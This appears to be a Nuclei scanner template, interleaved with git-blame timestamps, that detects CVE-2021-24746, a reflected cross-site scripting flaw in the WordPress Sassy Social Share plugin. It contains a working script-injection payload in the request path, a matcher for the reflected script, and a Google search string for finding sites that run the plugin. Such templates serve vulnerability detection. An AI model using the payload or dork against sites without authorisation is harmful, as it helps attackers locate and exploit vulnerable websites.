2022-04-06 04:06:53 +00:00
|
|
|
id: CVE-2021-24746
|
|
|
|
|
|
|
|
info:
|
2022-09-09 17:34:37 +00:00
|
|
|
name: WordPress Sassy Social Share Plugin - Cross-Site Scripting
|
2022-04-06 04:06:53 +00:00
|
|
|
author: Supras
|
|
|
|
severity: medium
|
|
|
|
description: WP plugin Sassy Social Share < 3.3.40 - Reflected Cross-Site Scripting
|
2022-04-06 04:25:48 +00:00
|
|
|
reference:
|
|
|
|
- https://wpscan.com/vulnerability/99f4fb32-e312-4059-adaf-f4cbaa92d4fa
|
|
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-24746
|
2022-04-06 04:33:20 +00:00
|
|
|
classification:
|
|
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
2022-04-22 10:38:41 +00:00
|
|
|
cvss-score: 6.1
|
2022-04-06 04:33:20 +00:00
|
|
|
cve-id: CVE-2021-24746
|
|
|
|
cwe-id: CWE-79
|
2022-04-22 10:38:41 +00:00
|
|
|
metadata:
|
|
|
|
google-query: inurl:"/wp-content/plugins/sassy-social-share"
|
2022-08-27 04:41:18 +00:00
|
|
|
tags: cve,cve2021,wordpress,wp-plugin,xss,wp,wpscan
|
2022-04-06 04:06:53 +00:00
|
|
|
|
|
|
|
requests:
|
|
|
|
- method: GET
|
|
|
|
path:
|
|
|
|
- "{{BaseURL}}/wp-json/wp/v2/posts"
|
|
|
|
- "{{BaseURL}}/{{slug}}/?a"><script>alert(document.domain)</script>"
|
|
|
|
|
2022-04-06 04:25:48 +00:00
|
|
|
redirects: true
|
|
|
|
max-redirects: 2
|
2022-04-06 04:06:53 +00:00
|
|
|
matchers-condition: and
|
|
|
|
matchers:
|
|
|
|
- type: word
|
|
|
|
part: body
|
|
|
|
words:
|
|
|
|
- '?a"><script>alert(document.domain)</script>'
|
|
|
|
|
|
|
|
- type: word
|
|
|
|
part: header
|
|
|
|
words:
|
|
|
|
- text/html
|
|
|
|
|
|
|
|
- type: status
|
|
|
|
status:
|
|
|
|
- 200
|
|
|
|
|
|
|
|
extractors:
|
|
|
|
- type: regex
|
|
|
|
part: body
|
|
|
|
name: slug
|
|
|
|
internal: true
|
|
|
|
group: 1
|
|
|
|
regex:
|
2022-04-06 04:25:48 +00:00
|
|
|
- '"slug":"([_a-z-A-Z0-9]+)",'
|